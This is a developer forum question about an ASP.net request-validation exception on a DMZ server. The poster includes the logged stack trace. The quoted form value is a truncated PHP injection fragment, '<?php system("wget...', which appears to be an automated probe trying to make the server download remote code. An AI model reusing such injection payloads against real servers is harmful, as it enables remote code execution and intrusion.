title: ASP.net Potentially dangerous request.form value was detected from the client
body: <p>I am getting a exception from my ASP.net web application that is on our dmz server.  Not really sure what it causing it and how to handle the error  tHis is the exception I am logging</p>
  
  <pre><code>Exception occured in: System.Web.HttpRequest.ValidateString
  Message: A potentially dangerous Request.Form value was detected from the client (="&lt;?php system("wget 2...").
  Source: System.Web
  Stack Trace: at System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection)
     at System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection)
     at System.Web.HttpRequest.get_Form()
     at System.Web.UI.PageRequestManager.IsAsyncPostBackRequest(HttpRequestBase request)
     at System.Web.Handlers.ScriptModule.HttpResponse_Redirecting(Object sender, EventArgs e)
     at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
     at System.Web.Security.FormsAuthenticationModule.OnLeave(Object source, EventArgs eventArgs)
     at System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
     at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&amp; completedSynchronously)
  </code></pre>
  
  <p>I tried copying and pasting into the textbox to see if maybe that is how to replicate the error.  Any help would be greatly appreciated.</p>